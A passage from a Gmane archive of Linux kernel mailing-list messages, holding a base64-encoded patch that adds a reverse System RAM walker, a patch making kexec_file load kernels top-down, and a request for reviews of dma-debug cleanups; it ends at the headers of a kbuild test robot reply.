 by ml01.01.org (Postfix) with ESMTPS id 77BA420961069
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Sun,  6 May 2018 23:33:30 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx03.intmail.prod.int.rdu2.redhat.com
 [10.11.54.3])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id 7A3774040073;
 Mon,  7 May 2018 06:33:29 +0000 (UTC)
Original-Received: from MiWiFi-R3L-srv.redhat.com (ovpn-8-16.pek2.redhat.com
 [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTP id 0B829111F3B6;
 Mon,  7 May 2018 06:33:12 +0000 (UTC)
In-Reply-To: <20180507063224.24229-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.3
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.5]); Mon, 07 May 2018 06:33:29 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.5]);
 Mon, 07 May 2018 06:33:29 +0000 (UTC) for IP:'10.11.54.3'
 DOMAIN:'int-mx03.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:9621 gmane.linux.kernel:2760213 gmane.linux.drivers.devicetree:268906 gmane.linux.kernel.pci:72248 gmane.linux.kernel.input:61119 gmane.linux.ports.parisc:28580 gmane.linux.kernel.kexec:20614
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/9621>

VGhpcyBmdW5jdGlvbiwgYmVpbmcgYSB2YXJpYW50IG9mIHdhbGtfc3lzdGVtX3JhbV9yZXMoKSBp
bnRyb2R1Y2VkIGluCmNvbW1pdCA4Yzg2ZTcwYWNlYWQgKCJyZXNvdXJjZTogcHJvdmlkZSBuZXcg
ZnVuY3Rpb25zIHRvIHdhbGsgdGhyb3VnaApyZXNvdXJjZXMiKSwgd2Fsa3MgdGhyb3VnaCBhIGxp
c3Qgb2YgYWxsIHRoZSByZXNvdXJjZXMgb2YgU3lzdGVtIFJBTQppbiByZXZlcnNlZCBvcmRlciwg
aS5lLiwgZnJvbSBoaWdoZXIgdG8gbG93ZXIuCgpJdCB3aWxsIGJlIHVzZWQgaW4ga2V4ZWNfZmls
ZSBjb2RlLgoKU2lnbmVkLW9mZi1ieTogQmFvcXVhbiBIZSA8YmhlQHJlZGhhdC5jb20+CkNjOiBB
bmRyZXcgTW9ydG9uIDxha3BtQGxpbnV4LWZvdW5kYXRpb24ub3JnPgpDYzogVGhvbWFzIEdsZWl4
bmVyIDx0Z2x4QGxpbnV0cm9uaXguZGU+CkNjOiBCcmlqZXNoIFNpbmdoIDxicmlqZXNoLnNpbmdo
QGFtZC5jb20+CkNjOiAiSsOpcsO0bWUgR2xpc3NlIiA8amdsaXNzZUByZWRoYXQuY29tPgpDYzog
Qm9yaXNsYXYgUGV0a292IDxicEBzdXNlLmRlPgpDYzogVG9tIExlbmRhY2t5IDx0aG9tYXMubGVu
ZGFja3lAYW1kLmNvbT4KQ2M6IFdlaSBZYW5nIDxyaWNoYXJkLndlaXlhbmdAZ21haWwuY29tPgot
LS0KIGluY2x1ZGUvbGludXgvaW9wb3J0LmggfCAgMyArKysKIGtlcm5lbC9yZXNvdXJjZS5jICAg
ICAgfCA0MCArKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrCiAyIGZpbGVz
IGNoYW5nZWQsIDQzIGluc2VydGlvbnMoKykKCmRpZmYgLS1naXQgYS9pbmNsdWRlL2xpbnV4L2lv
cG9ydC5oIGIvaW5jbHVkZS9saW51eC9pb3BvcnQuaAppbmRleCAyMjVkMTNkMzUwMGEuLjVmMmNm
YjQ2MGExNCAxMDA2NDQKLS0tIGEvaW5jbHVkZS9saW51eC9pb3BvcnQuaAorKysgYi9pbmNsdWRl
L2xpbnV4L2lvcG9ydC5oCkBAIC0yNzgsNiArMjc4LDkgQEAgZXh0ZXJuIGludAogd2Fsa19zeXN0
ZW1fcmFtX3Jlcyh1NjQgc3RhcnQsIHU2NCBlbmQsIHZvaWQgKmFyZywKIAkJICAgIGludCAoKmZ1
bmMpKHN0cnVjdCByZXNvdXJjZSAqLCB2b2lkICopKTsKIGV4dGVybiBpbnQKK3dhbGtfc3lzdGVt
X3JhbV9yZXNfcmV2KHU2NCBzdGFydCwgdTY0IGVuZCwgdm9pZCAqYXJnLAorCQkJaW50ICgqZnVu
Yykoc3RydWN0IHJlc291cmNlICosIHZvaWQgKikpOworZXh0ZXJuIGludAogd2Fsa19pb21lbV9y
ZXNfZGVzYyh1bnNpZ25lZCBsb25nIGRlc2MsIHVuc2lnbmVkIGxvbmcgZmxhZ3MsIHU2NCBzdGFy
dCwgdTY0IGVuZCwKIAkJICAgIHZvaWQgKmFyZywgaW50ICgqZnVuYykoc3RydWN0IHJlc291cmNl
ICosIHZvaWQgKikpOwogCmRpZmYgLS1naXQgYS9rZXJuZWwvcmVzb3VyY2UuYyBiL2tlcm5lbC9y
ZXNvdXJjZS5jCmluZGV4IDRmNTYwOTkxYzEzMC4uNmM1MTliMDZlM2Q2IDEwMDY0NAotLS0gYS9r
ZXJuZWwvcmVzb3VyY2UuYworKysgYi9rZXJuZWwvcmVzb3VyY2UuYwpAQCAtMjMsNiArMjMsOCBA
QAogI2luY2x1ZGUgPGxpbnV4L3Bmbi5oPgogI2luY2x1ZGUgPGxpbnV4L21tLmg+CiAjaW5jbHVk
ZSA8bGludXgvcmVzb3VyY2VfZXh0Lmg+CisjaW5jbHVkZSA8bGludXgvc3RyaW5nLmg+CisjaW5j
bHVkZSA8bGludXgvdm1hbGxvYy5oPgogI2luY2x1ZGUgPGFzbS9pby5oPgogCiAKQEAgLTQ3NSw2
ICs0NzcsNDQgQEAgaW50IHdhbGtfc3lzdGVtX3JhbV9yZXModTY0IHN0YXJ0LCB1NjQgZW5kLCB2
b2lkICphcmcsCiB9CiAKIC8qCisgKiBUaGlzIGZ1bmN0aW9uLCBiZWluZyBhIHZhcmlhbnQgb2Yg
d2Fsa19zeXN0ZW1fcmFtX3JlcygpLCBjYWxscyB0aGUgQGZ1bmMKKyAqIGNhbGxiYWNrIGFnYWlu
c3QgYWxsIG1lbW9yeSByYW5nZXMgb2YgdHlwZSBTeXN0ZW0gUkFNIHdoaWNoIGFyZSBtYXJrZWQg
YXMKKyAqIElPUkVTT1VSQ0VfU1lTVEVNX1JBTSBhbmQgSU9SRVNPVUNFX0JVU1kgaW4gcmV2ZXJz
ZWQgb3JkZXIsIGkuZS4sIGZyb20KKyAqIGhpZ2hlciB0byBsb3dlci4KKyAqLworaW50IHdhbGtf
c3lzdGVtX3JhbV9yZXNfcmV2KHU2NCBzdGFydCwgdTY0IGVuZCwgdm9pZCAqYXJnLAorCQkJCWlu
dCAoKmZ1bmMpKHN0cnVjdCByZXNvdXJjZSAqLCB2b2lkICopKQoreworCXVuc2lnbmVkIGxvbmcg
ZmxhZ3M7CisJc3RydWN0IHJlc291cmNlICpyZXM7CisJaW50IHJldCA9IC0xOworCisJZmxhZ3Mg
PSBJT1JFU09VUkNFX1NZU1RFTV9SQU0gfCBJT1JFU09VUkNFX0JVU1k7CisKKwlyZWFkX2xvY2so
JnJlc291cmNlX2xvY2spOworCWxpc3RfZm9yX2VhY2hfZW50cnlfcmV2ZXJzZShyZXMsICZpb21l
bV9yZXNvdXJjZS5jaGlsZCwgc2libGluZykgeworCQlpZiAoc3RhcnQgPj0gZW5kKQorCQkJYnJl
YWs7CisJCWlmICgocmVzLT5mbGFncyAmIGZsYWdzKSAhPSBmbGFncykKKwkJCWNvbnRpbnVlOwor
CQlpZiAocmVzLT5kZXNjICE9IElPUkVTX0RFU0NfTk9ORSkKKwkJCWNvbnRpbnVlOworCQlpZiAo
cmVzLT5lbmQgPCBzdGFydCkKKwkJCWJyZWFrOworCisJCWlmICgocmVzLT5lbmQgPj0gc3RhcnQp
ICYmIChyZXMtPnN0YXJ0IDwgZW5kKSkgeworCQkJcmV0ID0gKCpmdW5jKShyZXMsIGFyZyk7CisJ
CQlpZiAocmV0KQorCQkJCWJyZWFrOworCQl9CisJCWVuZCA9IHJlcy0+c3RhcnQgLSAxOworCisJ
fQorCXJlYWRfdW5sb2NrKCZyZXNvdXJjZV9sb2NrKTsKKwlyZXR1cm4gcmV0OworfQorCisvKgog
ICogVGhpcyBmdW5jdGlvbiBjYWxscyB0aGUgQGZ1bmMgY2FsbGJhY2sgYWdhaW5zdCBhbGwgbWVt
b3J5IHJhbmdlcywgd2hpY2gKICAqIGFyZSByYW5nZXMgbWFya2VkIGFzIElPUkVTT1VSQ0VfTUVN
IGFuZCBJT1JFU09VQ0VfQlVTWS4KICAqLwotLSAKMi4xMy42CgpfX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fXwpMaW51eC1udmRpbW0gbWFpbGluZyBsaXN0Ckxp
bnV4LW52ZGltbUBsaXN0cy4wMS5vcmcKaHR0cHM6Ly9saXN0cy4wMS5vcmcvbWFpbG1hbi9saXN0
aW5mby9saW51eC1udmRpbW0K


From - Thu Nov 08 21:41:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec
Subject: [PATCH v4 3/3] kexec_file: Load kernel at top of system RAM if
 required
Date: Mon,  7 May 2018 14:32:24 +0800
Lines: 45
Approved: news@gmane.org
Message-ID: <20180507063224.24229-4-bhe@redhat.com>
References: <20180507063224.24229-1-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1525674704 3296 195.159.176.226 (7 May 2018 06:31:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 7 May 2018 06:31:44 +0000 (UTC)
Cc: brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, airlied-cv59FeDIM0c@public.gmane.org,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, keith.busch-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org,
 jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org,
 dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org,
 bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
 jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org,
 linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org,
 devel-tBiZLqfeLfOHmIFyCCdPziST3g8Odh+X@public.gmane.org, davem-fT/PcQaiUtIeIZ0/mPfg9Q@public.gmane.org
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, dan.j.williams-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org,
 josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, bp-l3A5Bk7waGM@public.gmane.org
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Mon May 07 08:31:36 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fFZgN-0000g4-Vd
	for gln-linux-nvdimm@m.gmane.org; Mon, 07 May 2018 08:31:36 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id E0A742096107A;
	Sun,  6 May 2018 23:33:46 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id B6ABE20961069
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Sun,  6 May 2018 23:33:45 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx03.intmail.prod.int.rdu2.redhat.com
 [10.11.54.3])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id A17C142EF0DA;
 Mon,  7 May 2018 06:33:44 +0000 (UTC)
Original-Received: from MiWiFi-R3L-srv.redhat.com (ovpn-8-16.pek2.redhat.com
 [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTP id 15073111F3B6;
 Mon,  7 May 2018 06:33:29 +0000 (UTC)
In-Reply-To: <20180507063224.24229-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.3
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.7]); Mon, 07 May 2018 06:33:44 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.7]);
 Mon, 07 May 2018 06:33:44 +0000 (UTC) for IP:'10.11.54.3'
 DOMAIN:'int-mx03.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:9622 gmane.linux.kernel:2760214 gmane.linux.drivers.devicetree:268907 gmane.linux.kernel.pci:72249 gmane.linux.kernel.input:61120 gmane.linux.ports.parisc:28581 gmane.linux.kernel.kexec:20615
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/9622>

For kexec_file loading, if kexec_buf.top_down is 'true', the memory which
is used to load kernel/initrd/purgatory is supposed to be allocated from
top to down. This is what we have been doing all along in the old kexec
loading interface and the kexec loading is still default setting in some
distributions. However, the current kexec_file loading interface doesn't
do likt this. The function arch_kexec_walk_mem() it calls ignores checking
kexec_buf.top_down, but calls walk_system_ram_res() directly to go through
all resources of System RAM from bottom to up, to try to find memory region
which can contain the specific kexec buffer, then call locate_mem_hole_callback()
to allocate memory in that found memory region from top to down. This brings
confusion especially when KASLR is widely supported , users have to make clear
why kexec/kdump kernel loading position is different between these two
interfaces in order to exclude unnecessary noises. Hence these two interfaces
need be unified on behaviour.

Here add checking if kexec_buf.top_down is 'true' in arch_kexec_walk_mem(),
if yes, call the newly added walk_system_ram_res_rev() to find memory region
from top to down to load kernel.

Signed-off-by: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Cc: Eric Biederman <ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org>
Cc: Vivek Goyal <vgoyal-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Cc: Dave Young <dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Cc: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
Cc: Yinghai Lu <yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>
Cc: kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
---
 kernel/kexec_file.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/kernel/kexec_file.c b/kernel/kexec_file.c
index 75d8e7cf040e..7a66d9d5a534 100644
--- a/kernel/kexec_file.c
+++ b/kernel/kexec_file.c
@@ -518,6 +518,8 @@ int __weak arch_kexec_walk_mem(struct kexec_buf *kbuf,
 					   IORESOURCE_SYSTEM_RAM | IORESOURCE_BUSY,
 					   crashk_res.start, crashk_res.end,
 					   kbuf, func);
+	else if (kbuf->top_down)
+		return walk_system_ram_res_rev(0, ULONG_MAX, kbuf, func);
 	else
 		return walk_system_ram_res(0, ULONG_MAX, kbuf, func);
 }
-- 
2.13.6

From - Thu Nov 08 21:41:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: Re: dma-debug cleanups, including removing the arch hook
Date: Mon, 7 May 2018 12:29:15 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <20180507102915.GA25974@lst.de>
References: <20180424140235.9125-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1525688643 5287 195.159.176.226 (7 May 2018 10:24:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 7 May 2018 10:24:03 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Mon May 07 12:23:58 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fFdJF-0001F4-TC
	for glki-iommu@m.gmane.org; Mon, 07 May 2018 12:23:58 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 104DBC66;
	Mon,  7 May 2018 10:26:08 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 7693AC3C
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Mon,  7 May 2018 10:26:06 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from newverein.lst.de (verein.lst.de [213.95.11.211])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id ED03B18A
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Mon,  7 May 2018 10:26:02 +0000 (UTC)
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
	id 6D5B06732A; Mon,  7 May 2018 12:29:15 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20180424140235.9125-1-hch-jcswGhMUV9g@public.gmane.org>
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24114 gmane.linux.kernel.cross-arch:43877 gmane.linux.kernel.arc:3856 gmane.linux.ports.parisc:28582 gmane.linux.ports.sh.devel:56966 gmane.linux.ports.hexagon:1690 gmane.linux.kernel:2760392 gmane.linux.ports.alpha:5010 gmane.linux.ports.sparc:27829 gmane.linux.ports.arm.kernel:648273
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24114>

Any comments?  I'd like to move forward with this rather sooner
than later, so any reviews welcome!

On Tue, Apr 24, 2018 at 04:02:32PM +0200, Christoph Hellwig wrote:
> Hi all,
> 
> this series has a few dma-debug cleanups, most notably removing the need
> for architectures to explicitly initialize dma-debug.
> _______________________________________________
> iommu mailing list
> iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
> https://lists.linuxfoundation.org/mailman/listinfo/iommu
---end quoted text---

From - Thu Nov 08 21:41:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <lkp-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel
Subject: Re: [PATCH v4 1/3] resource: Use list_head to link sibling resource
Date: Mon, 7 May 2018 19:42:14 +0800
Lines: 183
Approved: news@gmane.org
Message-ID: <201805071803.2MKgOLTP%fengguang.wu@intel.com>
References: <20180507063224.24229-2-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1525693251 1154 195.159.176.226 (7 May 2018 11:40:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 7 May 2018 11:40:51 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
